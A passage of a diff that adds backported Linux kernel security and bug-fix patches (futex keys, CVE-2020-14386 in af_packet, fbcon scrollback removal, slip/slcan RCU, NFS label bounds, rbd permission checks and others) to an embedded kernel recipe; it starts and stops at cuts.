a/include/linux/fs.h b/include/linux/fs.h +index bffc8cb..bf3bb8e 100644 +--- a/include/linux/fs.h ++++ b/include/linux/fs.h +@@ -602,6 +602,7 @@ + struct rcu_head i_rcu; + }; + u64 i_version; ++ atomic64_t i_sequence; /* see futex */ + atomic_t i_count; + atomic_t i_dio_count; + atomic_t i_writecount; +diff --git a/include/linux/futex.h b/include/linux/futex.h +index 6435f46..c015fa9 100644 +--- a/include/linux/futex.h ++++ b/include/linux/futex.h +@@ -34,23 +34,26 @@ + + union futex_key { + struct { ++ u64 i_seq; + unsigned long pgoff; +- struct inode *inode; +- int offset; ++ unsigned int offset; + } shared; + struct { ++ union { ++ struct mm_struct *mm; ++ u64 __tmp; ++ }; + unsigned long address; +- struct mm_struct *mm; +- int offset; ++ unsigned int offset; + } private; + struct { ++ u64 ptr; + unsigned long word; +- void *ptr; +- int offset; ++ unsigned int offset; + } both; + }; + +-#define FUTEX_KEY_INIT (union futex_key) { .both = { .ptr = NULL } } ++#define FUTEX_KEY_INIT (union futex_key) { .both = { .ptr = 0ULL } } + + #ifdef CONFIG_FUTEX + extern void exit_robust_list(struct task_struct *curr); +diff --git a/kernel/futex.c b/kernel/futex.c +index 11c9481..6660b8f 100644 +--- a/kernel/futex.c ++++ b/kernel/futex.c +@@ -337,7 +337,7 @@ + + switch (key->both.offset & (FUT_OFF_INODE|FUT_OFF_MMSHARED)) { + case FUT_OFF_INODE: +- ihold(key->shared.inode); /* implies MB (B) */ ++ smp_mb(); /* explicit smp_mb(); (B) */ + break; + case FUT_OFF_MMSHARED: + futex_get_mm(key); /* implies MB (B) */ +@@ -368,7 +368,6 @@ + + switch (key->both.offset & (FUT_OFF_INODE|FUT_OFF_MMSHARED)) { + case FUT_OFF_INODE: +- iput(key->shared.inode); + break; + case FUT_OFF_MMSHARED: + mmdrop(key->private.mm); +@@ -376,6 +375,46 @@ + } + } + ++/* ++ * Generate a machine wide unique identifier for this inode. ++ * ++ * This relies on u64 not wrapping in the life-time of the machine; which with ++ * 1ns resolution means almost 585 years. ++ * ++ * This further relies on the fact that a well formed program will not unmap ++ * the file while it has a (shared) futex waiting on it. This mapping will have ++ * a file reference which pins the mount and inode. ++ * ++ * If for some reason an inode gets evicted and read back in again, it will get ++ * a new sequence number and will _NOT_ match, even though it is the exact same ++ * file. ++ * ++ * It is important that match_futex() will never have a false-positive, esp. ++ * for PI futexes that can mess up the state. The above argues that false-negatives ++ * are only possible for malformed programs. ++ */ ++static u64 get_inode_sequence_number(struct inode *inode) ++{ ++ static atomic64_t i_seq; ++ u64 old; ++ ++ /* Does the inode already have a sequence number? */ ++ old = atomic64_read(&inode->i_sequence); ++ if (likely(old)) ++ return old; ++ ++ for (;;) { ++ u64 new = atomic64_add_return(1, &i_seq); ++ if (WARN_ON_ONCE(!new)) ++ continue; ++ ++ old = atomic64_cmpxchg_relaxed(&inode->i_sequence, 0, new); ++ if (old) ++ return old; ++ return new; ++ } ++} ++ + /** + * get_futex_key() - Get parameters which are the keys for a futex + * @uaddr: virtual address of the futex +@@ -388,9 +427,15 @@ + * + * The key words are stored in *key on success. + * +- * For shared mappings, it's (page->index, file_inode(vma->vm_file), +- * offset_within_page). For private mappings, it's (uaddr, current->mm). +- * We can usually work out the index without swapping in the page. ++ * For shared mappings (when @fshared), the key is: ++ * ( inode->i_sequence, page->index, offset_within_page ) ++ * [ also see get_inode_sequence_number() ] ++ * ++ * For private mappings (or when !@fshared), the key is: ++ * ( current->mm, address, 0 ) ++ * ++ * This allows (cross process, where applicable) identification of the futex ++ * without keeping the page pinned for the duration of the FUTEX_WAIT. + * + * lock_page() might sleep, the caller should not hold a spinlock. + */ +@@ -551,8 +596,6 @@ + key->private.mm = mm; + key->private.address = address; + +- get_futex_key_refs(key); /* implies smp_mb(); (B) */ +- + } else { + struct inode *inode; + +@@ -584,39 +627,14 @@ + goto again; + } + +- /* +- * Take a reference unless it is about to be freed. Previously +- * this reference was taken by ihold under the page lock +- * pinning the inode in place so i_lock was unnecessary. The +- * only way for this check to fail is if the inode was +- * truncated in parallel so warn for now if this happens. +- * +- * We are not calling into get_futex_key_refs() in file-backed +- * cases, therefore a successful atomic_inc return below will +- * guarantee that get_futex_key() will still imply smp_mb(); (B). +- */ +- if (WARN_ON_ONCE(!atomic_inc_not_zero(&inode->i_count))) { +- rcu_read_unlock(); +- put_page(page_head); +- +- goto again; +- } +- +- /* Should be impossible but lets be paranoid for now */ +- if (WARN_ON_ONCE(inode->i_mapping != mapping)) { +- err = -EFAULT; +- rcu_read_unlock(); +- iput(inode); +- +- goto out; +- } +- + key->both.offset |= FUT_OFF_INODE; /* inode-based key */ +- key->shared.inode = inode; ++ key->shared.i_seq = get_inode_sequence_number(inode); + key->shared.pgoff = basepage_index(page); + rcu_read_unlock(); + } + ++ get_futex_key_refs(key); /* implies smp_mb(); (B) */ ++ + out: + put_page(page_head); + return err; diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0674-97d7817dcebb-PATCH netpacket fix overflow in tpacketrcv.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0674-97d7817dcebb-PATCH netpacket fix overflow in tpacketrcv.patch new file mode 100644 index 0000000..86b9f68 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0674-97d7817dcebb-PATCH netpacket fix overflow in tpacketrcv.patch @@ -0,0 +1,63 @@ +From 97d7817dcebb5857a7b54af40b7edf4134433f13 Mon Sep 17 00:00:00 2001 +From: Or Cohen +Date: Thu, 3 Sep 2020 21:05:28 -0700 +Subject: [PATCH] net/packet: fix overflow in tpacket_rcv + +commit acf69c946233259ab4d64f8869d4037a198c7f06 upstream. + +Using tp_reserve to calculate netoff can overflow as +tp_reserve is unsigned int and netoff is unsigned short. + +This may lead to macoff receving a smaller value then +sizeof(struct virtio_net_hdr), and if po->has_vnet_hdr +is set, an out-of-bounds write will occur when +calling virtio_net_hdr_from_skb. + +The bug is fixed by converting netoff to unsigned int +and checking if it exceeds USHRT_MAX. + +This addresses CVE-2020-14386 + +Fixes: 8913336a7e8d ("packet: add PACKET_RESERVE sockopt") +Signed-off-by: Or Cohen +Signed-off-by: Eric Dumazet +Signed-off-by: Linus Torvalds +[ snu: backported to pre-5.3, changed tp_drops counting/locking ] +Signed-off-by: Stefan Nuernberger +CC: David Woodhouse +CC: Amit Shah +CC: stable@vger.kernel.org +Signed-off-by: Greg Kroah-Hartman + +Change-Id: Id70a19d5550c27f8527f95b2a838d53e3bb73ffb +--- + net/packet/af_packet.c | 9 ++++++++- + 1 file changed, 8 insertions(+), 1 deletion(-) + +diff --git a/net/packet/af_packet.c b/net/packet/af_packet.c +index ebc15b0ae92..e5239b7fc5f 100644 +--- a/net/packet/af_packet.c ++++ b/net/packet/af_packet.c +@@ -1753,7 +1753,8 @@ static int tpacket_rcv(struct sk_buff *skb, struct net_device *dev, + int skb_len = skb->len; + unsigned int snaplen, res; + unsigned long status = TP_STATUS_USER; +- unsigned short macoff, netoff, hdrlen; ++ unsigned short macoff, hdrlen; ++ unsigned int netoff; + struct sk_buff *copy_skb = NULL; + struct timespec ts; + __u32 ts_status; +@@ -1800,6 +1801,12 @@ static int tpacket_rcv(struct sk_buff *skb, struct net_device *dev, + po->tp_reserve; + macoff = netoff - maclen; + } ++ if (netoff > USHRT_MAX) { ++ spin_lock(&sk->sk_receive_queue.lock); ++ po->stats.stats1.tp_drops++; ++ spin_unlock(&sk->sk_receive_queue.lock); ++ goto drop_n_restore; ++ } + if (po->tp_version <= TPACKET_V2) { + if (macoff + snaplen > po->rx_ring.frame_size) { + if (po->copy_thresh && diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0675.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0675.diff new file mode 100644 index 0000000..767e2e2 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0675.diff @@ -0,0 +1,498 @@ +diff --git a/drivers/video/console/fbcon.c b/drivers/video/console/fbcon.c +index 699a642..7e3a77b 100644 +--- a/drivers/video/console/fbcon.c ++++ b/drivers/video/console/fbcon.c +@@ -101,12 +101,6 @@ + /* logo_shown is an index to vc_cons when >= 0; otherwise follows FBCON_LOGO + enums. */ + static int logo_shown = FBCON_LOGO_CANSHOW; +-/* Software scrollback */ +-static int fbcon_softback_size = 32768; +-static unsigned long softback_buf, softback_curr; +-static unsigned long softback_in; +-static unsigned long softback_top, softback_end; +-static int softback_lines; + /* console mappings */ + static int first_fb_vc; + static int last_fb_vc = MAX_NR_CONSOLES - 1; +@@ -140,8 +134,6 @@ + + static const struct consw fb_con; + +-#define CM_SOFTBACK (8) +- + #define advance_row(p, delta) (unsigned short *)((unsigned long)(p) + (delta) * vc->vc_size_row) + + static int fbcon_set_origin(struct vc_data *); +@@ -174,7 +166,6 @@ + static int fbcon_switch(struct vc_data *vc); + static int fbcon_blank(struct vc_data *vc, int blank, int mode_switch); + static int fbcon_set_palette(struct vc_data *vc, unsigned char *table); +-static int fbcon_scrolldelta(struct vc_data *vc, int lines); + + /* + * Internal routines +@@ -353,18 +344,6 @@ + return color; + } + +-static void fbcon_update_softback(struct vc_data *vc) +-{ +- int l = fbcon_softback_size / vc->vc_size_row; +- +- if (l > 5) +- softback_end = softback_buf + l * vc->vc_size_row; +- else +- /* Smaller scrollback makes no sense, and 0 would screw +- the operation totally */ +- softback_top = 0; +-} +- + static void fb_flashcursor(struct work_struct *work) + { + struct fb_info *info = container_of(work, struct fb_info, queue); +@@ -394,7 +373,7 @@ + c = scr_readw((u16 *) vc->vc_pos); + mode = (!ops->cursor_flash || ops->cursor_state.enable) ? + CM_ERASE : CM_DRAW; +- ops->cursor(vc, info, mode, softback_lines, get_color(vc, info, c, 1), ++ ops->cursor(vc, info, mode, 0, get_color(vc, info, c, 1), + get_color(vc, info, c, 0)); + console_unlock(); + } +@@ -454,13 +433,7 @@ + } + + if (!strncmp(options, "scrollback:", 11)) { +- options += 11; +- if (*options) { +- fbcon_softback_size = simple_strtoul(options, &options, 0); +- if (*options == 'k' || *options == 'K') { +- fbcon_softback_size *= 1024; +- } +- } ++ pr_warn("Ignoring scrollback size option\n"); + continue; + } + +@@ -963,31 +936,6 @@ + p->con_rotate = initial_rotation; + set_blitting_type(vc, info); + +- if (info->fix.type != FB_TYPE_TEXT) { +- if (fbcon_softback_size) { +- if (!softback_buf) { +- softback_buf = +- (unsigned long) +- kmalloc(fbcon_softback_size, +- GFP_KERNEL); +- if (!softback_buf) { +- fbcon_softback_size = 0; +- softback_top = 0; +- } +- } +- } else { +- if (softback_buf) { +- kfree((void *) softback_buf); +- softback_buf = 0; +- softback_top = 0; +- } +- } +- if (softback_buf) +- softback_in = softback_top = softback_curr = +- softback_buf; +- softback_lines = 0; +- } +- + /* Setup default font */ + if (!p->fontdata && !vc->vc_font.data) { + if (!fontname[0] || !(font = find_font(fontname))) +@@ -1149,9 +1097,6 @@ + if (logo) + fbcon_prepare_logo(vc, info, cols, rows, new_cols, new_rows); + +- if (vc == svc && softback_buf) +- fbcon_update_softback(vc); +- + if (ops->rotate_font && ops->rotate_font(info, vc)) { + ops->rotate = FB_ROTATE_UR; + set_blitting_type(vc, info); +@@ -1306,7 +1251,6 @@ + { + struct fb_info *info = registered_fb[con2fb_map[vc->vc_num]]; + struct fbcon_ops *ops = info->fbcon_par; +- int y; + int c = scr_readw((u16 *) vc->vc_pos); + + if (fbcon_is_inactive(vc, info) || vc->vc_deccm != 1) +@@ -1318,16 +1262,8 @@ + fbcon_add_cursor_timer(info); + + ops->cursor_flash = (mode == CM_ERASE) ? 0 : 1; +- if (mode & CM_SOFTBACK) { +- mode &= ~CM_SOFTBACK; +- y = softback_lines; +- } else { +- if (softback_lines) +- fbcon_set_origin(vc); +- y = 0; +- } + +- ops->cursor(vc, info, mode, y, get_color(vc, info, c, 1), ++ ops->cursor(vc, info, mode, 0, get_color(vc, info, c, 1), + get_color(vc, info, c, 0)); + vbl_cursor_cnt = CURSOR_DRAW_DELAY; + } +@@ -1399,8 +1335,6 @@ + + if (CON_IS_VISIBLE(vc)) { + update_screen(vc); +- if (softback_buf) +- fbcon_update_softback(vc); + } + } + +@@ -1538,99 +1472,6 @@ + scrollback_current = 0; + } + +-static void fbcon_redraw_softback(struct vc_data *vc, struct display *p, +- long delta) +-{ +- int count = vc->vc_rows; +- unsigned short *d, *s; +- unsigned long n; +- int line = 0; +- +- d = (u16 *) softback_curr; +- if (d == (u16 *) softback_in) +- d = (u16 *) vc->vc_origin; +- n = softback_curr + delta * vc->vc_size_row; +- softback_lines -= delta; +- if (delta < 0) { +- if (softback_curr < softback_top && n < softback_buf) { +- n += softback_end - softback_buf; +- if (n < softback_top) { +- softback_lines -= +- (softback_top - n) / vc->vc_size_row; +- n = softback_top; +- } +- } else if (softback_curr >= softback_top +- && n < softback_top) { +- softback_lines -= +- (softback_top - n) / vc->vc_size_row; +- n = softback_top; +- } +- } else { +- if (softback_curr > softback_in && n >= softback_end) { +- n += softback_buf - softback_end; +- if (n > softback_in) { +- n = softback_in; +- softback_lines = 0; +- } +- } else if (softback_curr <= softback_in && n > softback_in) { +- n = softback_in; +- softback_lines = 0; +- } +- } +- if (n == softback_curr) +- return; +- softback_curr = n; +- s = (u16 *) softback_curr; +- if (s == (u16 *) softback_in) +- s = (u16 *) vc->vc_origin; +- while (count--) { +- unsigned short *start; +- unsigned short *le; +- unsigned short c; +- int x = 0; +- unsigned short attr = 1; +- +- start = s; +- le = advance_row(s, 1); +- do { +- c = scr_readw(s); +- if (attr != (c & 0xff00)) { +- attr = c & 0xff00; +- if (s > start) { +- fbcon_putcs(vc, start, s - start, +- line, x); +- x += s - start; +- start = s; +- } +- } +- if (c == scr_readw(d)) { +- if (s > start) { +- fbcon_putcs(vc, start, s - start, +- line, x); +- x += s - start + 1; +- start = s + 1; +- } else { +- x++; +- start++; +- } +- } +- s++; +- d++; +- } while (s < le); +- if (s > start) +- fbcon_putcs(vc, start, s - start, line, x); +- line++; +- if (d == (u16 *) softback_end) +- d = (u16 *) softback_buf; +- if (d == (u16 *) softback_in) +- d = (u16 *) vc->vc_origin; +- if (s == (u16 *) softback_end) +- s = (u16 *) softback_buf; +- if (s == (u16 *) softback_in) +- s = (u16 *) vc->vc_origin; +- } +-} +- + static void fbcon_redraw_move(struct vc_data *vc, struct display *p, + int line, int count, int dy) + { +@@ -1770,31 +1611,6 @@ + } + } + +-static inline void fbcon_softback_note(struct vc_data *vc, int t, +- int count) +-{ +- unsigned short *p; +- +- if (vc->vc_num != fg_console) +- return; +- p = (unsigned short *) (vc->vc_origin + t * vc->vc_size_row); +- +- while (count) { +- scr_memcpyw((u16 *) softback_in, p, vc->vc_size_row); +- count--; +- p = advance_row(p, 1); +- softback_in += vc->vc_size_row; +- if (softback_in == softback_end) +- softback_in = softback_buf; +- if (softback_in == softback_top) { +- softback_top += vc->vc_size_row; +- if (softback_top == softback_end) +- softback_top = softback_buf; +- } +- } +- softback_curr = softback_in; +-} +- + static int fbcon_scroll(struct vc_data *vc, int t, int b, int dir, + int count) + { +@@ -1817,8 +1633,6 @@ + case SM_UP: + if (count > vc->vc_rows) /* Maximum realistic size */ + count = vc->vc_rows; +- if (softback_top) +- fbcon_softback_note(vc, t, count); + if (logo_shown >= 0) + goto redraw_up; + switch (p->scrollmode) { +@@ -2189,14 +2003,6 @@ + info = registered_fb[con2fb_map[vc->vc_num]]; + ops = info->fbcon_par; + +- if (softback_top) { +- if (softback_lines) +- fbcon_set_origin(vc); +- softback_top = softback_curr = softback_in = softback_buf; +- softback_lines = 0; +- fbcon_update_softback(vc); +- } +- + if (logo_shown >= 0) { + struct vc_data *conp2 = vc_cons[logo_shown].d; + +@@ -2550,8 +2356,6 @@ + cols /= w; + rows /= h; + vc_resize(vc, cols, rows); +- if (CON_IS_VISIBLE(vc) && softback_buf) +- fbcon_update_softback(vc); + } else if (CON_IS_VISIBLE(vc) + && vc->vc_mode == KD_TEXT) { + fbcon_clear_margins(vc, 0); +@@ -2709,19 +2513,7 @@ + + static u16 *fbcon_screen_pos(struct vc_data *vc, int offset) + { +- unsigned long p; +- int line; +- +- if (vc->vc_num != fg_console || !softback_lines) +- return (u16 *) (vc->vc_origin + offset); +- line = offset / vc->vc_size_row; +- if (line >= softback_lines) +- return (u16 *) (vc->vc_origin + offset - +- softback_lines * vc->vc_size_row); +- p = softback_curr + offset; +- if (p >= softback_end) +- p += softback_buf - softback_end; +- return (u16 *) p; ++ return (u16 *) (vc->vc_origin + offset); + } + + static unsigned long fbcon_getxy(struct vc_data *vc, unsigned long pos, +@@ -2735,22 +2527,7 @@ + + x = offset % vc->vc_cols; + y = offset / vc->vc_cols; +- if (vc->vc_num == fg_console) +- y += softback_lines; + ret = pos + (vc->vc_cols - x) * 2; +- } else if (vc->vc_num == fg_console && softback_lines) { +- unsigned long offset = pos - softback_curr; +- +- if (pos < softback_curr) +- offset += softback_end - softback_buf; +- offset /= 2; +- x = offset % vc->vc_cols; +- y = offset / vc->vc_cols; +- ret = pos + (vc->vc_cols - x) * 2; +- if (ret == softback_end) +- ret = softback_buf; +- if (ret == softback_in) +- ret = vc->vc_origin; + } else { + /* Should not happen */ + x = y = 0; +@@ -2778,107 +2555,11 @@ + a = ((a) & 0x88ff) | (((a) & 0x7000) >> 4) | + (((a) & 0x0700) << 4); + scr_writew(a, p++); +- if (p == (u16 *) softback_end) +- p = (u16 *) softback_buf; +- if (p == (u16 *) softback_in) +- p = (u16 *) vc->vc_origin; + } + } + +-static int fbcon_scrolldelta(struct vc_data *vc, int lines) +-{ +- struct fb_info *info = registered_fb[con2fb_map[fg_console]]; +- struct fbcon_ops *ops = info->fbcon_par; +- struct display *disp = &fb_display[fg_console]; +- int offset, limit, scrollback_old; +- +- if (softback_top) { +- if (vc->vc_num != fg_console) +- return 0; +- if (vc->vc_mode != KD_TEXT || !lines) +- return 0; +- if (logo_shown >= 0) { +- struct vc_data *conp2 = vc_cons[logo_shown].d; +- +- if (conp2->vc_top == logo_lines +- && conp2->vc_bottom == conp2->vc_rows) +- conp2->vc_top = 0; +- if (logo_shown == vc->vc_num) { +- unsigned long p, q; +- int i; +- +- p = softback_in; +- q = vc->vc_origin + +- logo_lines * vc->vc_size_row; +- for (i = 0; i < logo_lines; i++) { +- if (p == softback_top) +- break; +- if (p == softback_buf) +- p = softback_end; +- p -= vc->vc_size_row; +- q -= vc->vc_size_row; +- scr_memcpyw((u16 *) q, (u16 *) p, +- vc->vc_size_row); +- } +- softback_in = softback_curr = p; +- update_region(vc, vc->vc_origin, +- logo_lines * vc->vc_cols); +- } +- logo_shown = FBCON_LOGO_CANSHOW; +- } +- fbcon_cursor(vc, CM_ERASE | CM_SOFTBACK); +- fbcon_redraw_softback(vc, disp, lines); +- fbcon_cursor(vc, CM_DRAW | CM_SOFTBACK); +- return 0; +- } +- +- if (!scrollback_phys_max) +- return -ENOSYS; +- +- scrollback_old = scrollback_current; +- scrollback_current -= lines; +- if (scrollback_current < 0) +- scrollback_current = 0; +- else if (scrollback_current > scrollback_max) +- scrollback_current = scrollback_max; +- if (scrollback_current == scrollback_old) +- return 0; +- +- if (fbcon_is_inactive(vc, info)) +- return 0; +- +- fbcon_cursor(vc, CM_ERASE); +- +- offset = disp->yscroll - scrollback_current; +- limit = disp->vrows; +- switch (disp->scrollmode) { +- case SCROLL_WRAP_MOVE: +- info->var.vmode |= FB_VMODE_YWRAP; +- break; +- case SCROLL_PAN_MOVE: +- case SCROLL_PAN_REDRAW: +- limit -= vc->vc_rows; +- info->var.vmode &= ~FB_VMODE_YWRAP; +- break; +- } +- if (offset < 0) +- offset += limit; +- else if (offset >= limit) +- offset -= limit; +- +- ops->var.xoffset = 0; +- ops->var.yoffset = offset * vc->vc_font.height; +- ops->update_start(info); +- +- if (!scrollback_current) +- fbcon_cursor(vc, CM_DRAW); +- return 0; +-} +- + static int fbcon_set_origin(struct vc_data *vc) + { +- if (softback_lines) +- fbcon_scrolldelta(vc, softback_lines); + return 0; + } + +@@ -2942,8 +2623,6 @@ + + fbcon_set_palette(vc, color_table); + update_screen(vc); +- if (softback_buf) +- fbcon_update_softback(vc); + } + } + +@@ -3364,7 +3043,6 @@ + .con_font_default = fbcon_set_def_font, + .con_font_copy = fbcon_copy_font, + .con_set_palette = fbcon_set_palette, +- .con_scrolldelta = fbcon_scrolldelta, + .con_set_origin = fbcon_set_origin, + .con_invert_region = fbcon_invert_region, + .con_screen_pos = fbcon_screen_pos, +@@ -3573,9 +3251,6 @@ + if (fbcon_has_exited) + return; + +- kfree((void *)softback_buf); +- softback_buf = 0UL; +- + for (i = 0; i < FB_MAX; i++) { + int pending = 0; + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0676.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0676.diff new file mode 100644 index 0000000..e858d98 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0676.diff @@ -0,0 +1,70 @@ +diff --git a/drivers/net/can/slcan.c b/drivers/net/can/slcan.c +index d625bd9..ad38a55 100644 +--- a/drivers/net/can/slcan.c ++++ b/drivers/net/can/slcan.c +@@ -346,9 +346,16 @@ + */ + static void slcan_write_wakeup(struct tty_struct *tty) + { +- struct slcan *sl = tty->disc_data; ++ struct slcan *sl; ++ ++ rcu_read_lock(); ++ sl = rcu_dereference(tty->disc_data); ++ if (!sl) ++ goto out; + + schedule_work(&sl->tx_work); ++out: ++ rcu_read_unlock(); + } + + /* Send a can_frame to a TTY queue. */ +@@ -642,10 +649,11 @@ + return; + + spin_lock_bh(&sl->lock); +- tty->disc_data = NULL; ++ rcu_assign_pointer(tty->disc_data, NULL); + sl->tty = NULL; + spin_unlock_bh(&sl->lock); + ++ synchronize_rcu(); + flush_work(&sl->tx_work); + + /* Flush network side */ +diff --git a/drivers/net/slip/slip.c b/drivers/net/slip/slip.c +index ef6b25e..0f8d560 100644 +--- a/drivers/net/slip/slip.c ++++ b/drivers/net/slip/slip.c +@@ -452,9 +452,16 @@ + */ + static void slip_write_wakeup(struct tty_struct *tty) + { +- struct slip *sl = tty->disc_data; ++ struct slip *sl; ++ ++ rcu_read_lock(); ++ sl = rcu_dereference(tty->disc_data); ++ if (!sl) ++ goto out; + + schedule_work(&sl->tx_work); ++out: ++ rcu_read_unlock(); + } + + static void sl_tx_timeout(struct net_device *dev) +@@ -887,10 +894,11 @@ + return; + + spin_lock_bh(&sl->lock); +- tty->disc_data = NULL; ++ rcu_assign_pointer(tty->disc_data, NULL); + sl->tty = NULL; + spin_unlock_bh(&sl->lock); + ++ synchronize_rcu(); + flush_work(&sl->tx_work); + + /* VSV = very important to remove timers */ diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0677.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0677.diff new file mode 100644 index 0000000..02dcefd --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0677.diff @@ -0,0 +1,12 @@ +diff --git a/drivers/usb/misc/usbtest.c b/drivers/usb/misc/usbtest.c +index 9176837..283e9ee 100644 +--- a/drivers/usb/misc/usbtest.c ++++ b/drivers/usb/misc/usbtest.c +@@ -2659,6 +2659,7 @@ + + usb_set_intfdata(intf, NULL); + dev_dbg(&intf->dev, "disconnect\n"); ++ kfree(dev->buf); + kfree(dev); + } + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0678.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0678.diff new file mode 100644 index 0000000..4a1cfb0 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0678.diff @@ -0,0 +1,46 @@ +diff --git a/fs/block_dev.c b/fs/block_dev.c +index 8e42e76..24501ef 100644 +--- a/fs/block_dev.c ++++ b/fs/block_dev.c +@@ -1117,10 +1117,8 @@ + */ + if (!for_part) { + ret = devcgroup_inode_permission(bdev->bd_inode, perm); +- if (ret != 0) { +- bdput(bdev); ++ if (ret != 0) + return ret; +- } + } + + restart: +@@ -1193,8 +1191,10 @@ + goto out_clear; + BUG_ON(for_part); + ret = __blkdev_get(whole, mode, 1); +- if (ret) ++ if (ret) { ++ bdput(whole); + goto out_clear; ++ } + bdev->bd_contains = whole; + bdev_inode_switch_bdi(bdev->bd_inode, + whole->bd_inode->i_data.backing_dev_info); +@@ -1247,7 +1247,6 @@ + put_disk(disk); + module_put(owner); + out: +- bdput(bdev); + + return ret; + } +@@ -1333,6 +1332,9 @@ + bdput(whole); + } + ++ if (res) ++ bdput(bdev); ++ + return res; + } + EXPORT_SYMBOL(blkdev_get); diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0679.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0679.diff new file mode 100644 index 0000000..2effb71 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0679.diff @@ -0,0 +1,73 @@ +diff --git a/drivers/char/random.c b/drivers/char/random.c +index 6313ed2..5292f66 100644 +--- a/drivers/char/random.c ++++ b/drivers/char/random.c +@@ -903,6 +903,7 @@ + + fast_mix(fast_pool); + add_interrupt_bench(cycles); ++ this_cpu_add(net_rand_state.s1, fast_pool->pool[cycles & 3]); + + if ((fast_pool->count < 64) && + !time_after(now, fast_pool->last + HZ)) +diff --git a/include/linux/random.h b/include/linux/random.h +index 0fe49a1..eeff59c 100644 +--- a/include/linux/random.h ++++ b/include/linux/random.h +@@ -6,6 +6,8 @@ + #ifndef _LINUX_RANDOM_H + #define _LINUX_RANDOM_H + ++#include ++ + #include + + extern void add_device_randomness(const void *, unsigned int); +@@ -35,6 +37,8 @@ + __u32 s1, s2, s3, s4; + }; + ++DECLARE_PER_CPU(struct rnd_state, net_rand_state) __latent_entropy; ++ + u32 prandom_u32_state(struct rnd_state *state); + void prandom_bytes_state(struct rnd_state *state, void *buf, size_t nbytes); + +diff --git a/kernel/time/timer.c b/kernel/time/timer.c +index 3c4e311..37eb6b1 100644 +--- a/kernel/time/timer.c ++++ b/kernel/time/timer.c +@@ -42,6 +42,7 @@ + #include + #include + #include ++#include + + #include + #include +@@ -1403,6 +1404,13 @@ + #endif + scheduler_tick(); + run_posix_cpu_timers(p); ++ ++ /* The current CPU might make use of net randoms without receiving IRQs ++ * to renew them often enough. Let's update the net_rand_state from a ++ * non-constant value that's not affine to the number of calls to make ++ * sure it's updated when there's some activity (we don't care in idle). ++ */ ++ this_cpu_add(net_rand_state.s1, rol32(jiffies, 24) + user_tick); + } + + /* +diff --git a/lib/random32.c b/lib/random32.c +index 0bee183..a999fcf 100644 +--- a/lib/random32.c ++++ b/lib/random32.c +@@ -47,7 +47,7 @@ + } + #endif + +-static DEFINE_PER_CPU(struct rnd_state, net_rand_state); ++DEFINE_PER_CPU(struct rnd_state, net_rand_state); + + /** + * prandom_u32_state - seeded pseudo-random number generator. diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0680.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0680.diff new file mode 100644 index 0000000..d7a96a2 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0680.diff @@ -0,0 +1,13 @@ +diff --git a/net/netfilter/nf_conntrack_netlink.c b/net/netfilter/nf_conntrack_netlink.c +index 8206900..7edd7f7 100644 +--- a/net/netfilter/nf_conntrack_netlink.c ++++ b/net/netfilter/nf_conntrack_netlink.c +@@ -922,6 +922,8 @@ + if (!tb[CTA_TUPLE_IP]) + return -EINVAL; + ++ if (l3num != NFPROTO_IPV4 && l3num != NFPROTO_IPV6) ++ return -EOPNOTSUPP; + tuple->src.l3num = l3num; + + err = ctnetlink_parse_tuple_ip(tb[CTA_TUPLE_IP], tuple); diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0681.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0681.diff new file mode 100644 index 0000000..fdd9ecc --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0681.diff @@ -0,0 +1,30 @@ +diff --git a/fs/nfs/nfs4proc.c b/fs/nfs/nfs4proc.c +index 61aaf67..898520c 100644 +--- a/fs/nfs/nfs4proc.c ++++ b/fs/nfs/nfs4proc.c +@@ -4711,8 +4711,6 @@ + return ret; + if (!(fattr.valid & NFS_ATTR_FATTR_V4_SECURITY_LABEL)) + return -ENOENT; +- if (buflen < label.len) +- return -ERANGE; + return 0; + } + +diff --git a/fs/nfs/nfs4xdr.c b/fs/nfs/nfs4xdr.c +index 6ed24fd..7fa5f3d 100644 +--- a/fs/nfs/nfs4xdr.c ++++ b/fs/nfs/nfs4xdr.c +@@ -4138,7 +4138,11 @@ + goto out_overflow; + if (len < NFS4_MAXLABELLEN) { + if (label) { +- memcpy(label->label, p, len); ++ if (label->len) { ++ if (label->len < len) ++ return -ERANGE; ++ memcpy(label->label, p, len); ++ } + label->len = len; + label->pi = pi; + label->lfs = lfs; diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0682.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0682.diff new file mode 100644 index 0000000..d90372a --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0682.diff @@ -0,0 +1,34 @@ +diff --git a/drivers/block/rbd.c b/drivers/block/rbd.c +index 9e97f34..aaab1fb 100644 +--- a/drivers/block/rbd.c ++++ b/drivers/block/rbd.c +@@ -3946,6 +3946,9 @@ + struct rbd_device *rbd_dev = dev_to_rbd_dev(dev); + int ret; + ++ if (!capable(CAP_SYS_ADMIN)) ++ return -EPERM; ++ + ret = rbd_dev_refresh(rbd_dev); + if (ret) + return ret; +@@ -5410,6 +5413,9 @@ + bool read_only; + int rc = -ENOMEM; + ++ if (!capable(CAP_SYS_ADMIN)) ++ return -EPERM; ++ + if (!try_module_get(THIS_MODULE)) + return -ENODEV; + +@@ -5553,6 